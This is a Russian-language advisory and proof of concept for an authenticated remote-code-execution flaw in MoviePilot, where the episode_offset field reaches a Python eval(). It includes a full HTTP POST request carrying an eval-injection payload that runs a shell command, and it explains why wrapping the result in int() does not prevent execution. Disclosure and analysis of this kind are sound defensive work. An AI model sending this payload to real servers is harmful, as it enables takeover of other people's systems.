
Доказательство концепции и анализ первопричины для CVE-2026-95149 — аутентифицированного RCE в FormatParser MoviePilot через инъекцию eval() в episode_offset, с HTTP PoC и подробностями исправления.
eval() в episode_offset (MoviePilot FormatParser)| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-95149 |
| Продукт | MoviePilot (jxxghp/MoviePilot) |
| Уязвимые версии | <= v3.0.0 |
| Исправлено в | ветка v3 — коммит 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| Критичность | Высокая |
| Вектор атаки | Удалённый, через HTTP API |
| Требуемые привилегии | Аутентифицированный пользователь с правами управления (администратор или учётная запись с ролью управления) |
| Взаимодействие с пользователем | Отсутствует |
| Дата сообщения | 2026-09-11 |
| Публичный issue | jxxghp/MoviePilot#6644 |
FormatParser принимает произвольную строку и проверяет только наличие "EP" — он никогда не проверяет, что
остаток строки является корректным арифметическим выражением:
elif "EP" in offset:
self.__offset = offset
Затем несколько последующих веток кода формируют выражение Python путём текстовой подстановки и вычисляют его напрямую:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
Обёртка int(...) ограничивает только возвращаемое значение выражения; она не предотвращает побочные эффекты,
возникающие во время вычисления. Поэтому любой вызов функции, импорт или обращение к атрибуту, встроенные в полезную
нагрузку, выполняются до того, как итоговое значение приводится к int.
Распространённая попытка защиты — умножить полезную нагрузку на ноль, чтобы арифметический результат оставался числовым:
EP+__import__('os').system('touch /tmp/success')*0
Это по-прежнему работает. Побочный эффект (запуск команды) происходит во время вычисления, задолго до того, как
итоговое сложение приводится к int, поэтому атакующий получает и выполнение команды, и значение, проходящее
проверку типа int().
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
На уязвимом экземпляре файл /tmp/success создаётся процессом службы MoviePilot. Если вызов API не возвращает
200, приведение к int() вызовет исключение — но внедрённая команда уже выполнена, поэтому результат запроса
не имеет значения для эксплуатации.
app/application/formatting.py (строки 102 и 184 в v3.0.0)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302